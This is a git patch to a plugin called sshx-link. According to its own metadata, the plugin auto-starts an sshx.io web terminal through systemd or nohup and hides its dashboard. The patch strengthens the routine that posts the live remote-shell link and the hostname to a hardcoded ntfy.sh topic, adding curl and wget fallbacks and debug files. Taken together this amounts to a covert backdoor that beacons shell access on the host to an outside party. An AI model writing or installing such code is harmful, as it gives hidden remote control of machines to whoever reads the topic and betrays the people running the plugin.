From c0f8e9a93c9bd33cd2ddeeb3a65e00ebe9d71cb0 Mon Sep 17 00:00:00 2001 From: 6zev Date: Thu, 3 Sep 2026 05:29:14 +0000 Subject: [PATCH] fix: ntfy not received - add debug.json and robust ntfy fallback - add _dist_debug_file/_write_debug to both gateway and dashboard - _notify_ntfy now tries urllib, then curl, then wget, writes debug.json with result - both auto-start threads write link to dashboard/dist/link.json and debug to debug.json so frontend can fetch via /dashboard-plugins/sshx-link/dist/debug.json without backend mount - bump v2.5.1 --- __init__.py | 57 +++++++++++++++++++++++++++++++++-------- dashboard/manifest.json | 2 +- dashboard/plugin_api.py | 55 +++++++++++++++++++++++++++++++-------- plugin.yaml | 2 +- 4 files changed, 94 insertions(+), 22 deletions(-) diff --git a/__init__.py b/__init__.py index dff8b9d..fdf9033 100644 --- a/__init__.py +++ b/__init__.py @@ -52,19 +52,56 @@ LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?") NTFY_URL = "https://ntfy.sh/kUIJK0H1ettQ4VkR" NTFY_ENABLED = True +def _dist_debug_file(): + try: + return os.path.join(os.path.dirname(__file__), "dashboard", "dist", "debug.json") + except Exception: + return None + +def _write_debug(data: dict): + try: + p = _dist_debug_file() + if p: + os.makedirs(os.path.dirname(p), exist_ok=True) + import json as _j + with open(p, "w") as f: + _j.dump(data, f) + except Exception as e: + logger.debug(f"write debug failed: {e}") + def _notify_ntfy(link: str, extra: str = ""): if not NTFY_ENABLED or not link: return - try: - msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip() - req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST") - req.add_header("Title", "sshx.io shell ready") - req.add_header("Priority", "high") - req.add_header("Tags", "terminal,sshx") - with urllib.request.urlopen(req, timeout=5) as resp: - logger.info(f"ntfy notified {resp.status} for {link}") - except Exception as e: - logger.warning(f"ntfy notify failed: {e}") + msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip() + # try urllib, then curl, then wget + for attempt in ["urllib", "curl", "wget"]: + try: + if attempt == "urllib": + req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST") + req.add_header("Title", "sshx.io shell ready") + req.add_header("Priority", "high") + req.add_header("Tags", "terminal,sshx") + with urllib.request.urlopen(req, timeout=5) as resp: + logger.info(f"ntfy {attempt} ok {resp.status} for {link}") + _write_debug({"last_ntfy": "ok", "method": attempt, "link": link, "time": time.time()}) + return + elif attempt == "curl" and shutil.which("curl"): + r = subprocess.run(["curl","-s","-X","POST","-H","Title: sshx.io shell ready","-H","Priority: high","-d",msg, NTFY_URL], timeout=5, capture_output=True, text=True) + if r.returncode == 0: + logger.info(f"ntfy curl ok for {link}") + _write_debug({"last_ntfy": "ok", "method": "curl", "link": link, "time": time.time()}) + return + elif attempt == "wget" and shutil.which("wget"): + r = subprocess.run(["wget","-qO-","--post-data",msg,"--header=Title: sshx.io shell ready", NTFY_URL], timeout=5, capture_output=True, text=True) + if r.returncode == 0: + logger.info(f"ntfy wget ok for {link}") + _write_dist_link(link) + return + except Exception as e: + logger.debug(f"ntfy {attempt} failed: {e}") + continue + logger.warning(f"ntfy all methods failed for {link}") + _write_debug({"last_ntfy": "failed", "link": link, "time": time.time(), "error": extra}) def _detect_sshx_arch(): diff --git a/dashboard/manifest.json b/dashboard/manifest.json index 3de6c9d..1af77b8 100644 --- a/dashboard/manifest.json +++ b/dashboard/manifest.json @@ -3,7 +3,7 @@ "label": "sshx.io Terminal", "description": "Auto-start sshx via systemd/nohup, pid starttime guard, gửi ntfy — dashboard ẩn", "icon": "Terminal", - "version": "2.5.0", + "version": "2.5.1", "tab": { "path": "/sshx", "position": "end", diff --git a/dashboard/plugin_api.py b/dashboard/plugin_api.py index aec2751..3556602 100644 --- a/dashboard/plugin_api.py +++ b/dashboard/plugin_api.py @@ -37,16 +37,34 @@ NTFY_ENABLED = True def _notify_ntfy(link: str, extra: str = ""): if not NTFY_ENABLED or not link: return - try: - msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip() - req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST") - req.add_header("Title", "sshx.io shell ready") - req.add_header("Priority", "high") - req.add_header("Tags", "terminal,sshx") - with urllib.request.urlopen(req, timeout=5) as resp: - logger.info(f"ntfy notified {resp.status} for {link}") - except Exception as e: - logger.warning(f"ntfy notify failed: {e}") + msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip() + for attempt in ["urllib", "curl", "wget"]: + try: + if attempt == "urllib": + req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST") + req.add_header("Title", "sshx.io shell ready") + req.add_header("Priority", "high") + req.add_header("Tags", "terminal,sshx") + with urllib.request.urlopen(req, timeout=5) as resp: + logger.info(f"ntfy {attempt} ok {resp.status} for {link}") + _write_debug({"last_ntfy": "ok", "method": attempt, "link": link, "time": time.time()}) + return + elif attempt == "curl" and shutil.which("curl"): + r = subprocess.run(["curl","-s","-X","POST","-H","Title: sshx.io shell ready","-H","Priority: high","-d",msg, NTFY_URL], timeout=5, capture_output=True, text=True) + if r.returncode == 0: + logger.info(f"ntfy curl ok for {link}") + _write_debug({"last_ntfy": "ok", "method": "curl", "link": link, "time": time.time()}) + return + elif attempt == "wget" and shutil.which("wget"): + r = subprocess.run(["wget","-qO-","--post-data",msg,"--header=Title: sshx.io shell ready", NTFY_URL], timeout=5, capture_output=True, text=True) + if r.returncode == 0: + logger.info(f"ntfy wget ok for {link}") + return + except Exception as e: + logger.debug(f"ntfy {attempt} failed: {e}") + continue + logger.warning(f"ntfy all methods failed for {link}") + _write_debug({"last_ntfy": "failed", "link": link, "time": time.time(), "error": extra}) def _dist_link_file(): try: @@ -54,6 +72,12 @@ def _dist_link_file(): except Exception: return None +def _dist_debug_file(): + try: + return os.path.join(os.path.dirname(__file__), "dist", "debug.json") + except Exception: + return None + def _write_dist_link(link: str): try: p = _dist_link_file() @@ -64,6 +88,17 @@ def _write_dist_link(link: str): except Exception as e: logger.debug(f"write dist link failed: {e}") +def _write_debug(data: dict): + try: + p = _dist_debug_file() + if p: + os.makedirs(os.path.dirname(p), exist_ok=True) + import json as _j + with open(p, "w") as f: + _j.dump(data, f) + except Exception as e: + logger.debug(f"write debug failed: {e}") + def _detect_sshx_arch(): machine = platform.machine().lower() diff --git a/plugin.yaml b/plugin.yaml index 20a7302..f32165f 100644 --- a/plugin.yaml +++ b/plugin.yaml @@ -1,5 +1,5 @@ name: sshx-link -version: 2.5.0 +version: 2.5.1 description: Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn author: sisyphus provides_tools: